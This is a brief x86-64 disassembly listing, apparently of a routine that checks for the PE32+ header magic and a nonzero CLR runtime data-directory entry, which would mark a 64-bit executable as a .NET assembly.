cmp eax, 0x20b
je 0x1400158b1
xor al, al
jmp 0x1400158e1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400158c3
xor al, al
jmp 0x1400158e1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400158df
xor al, al
jmp 0x1400158e1
mov al, 1
add rsp, 0x38
ret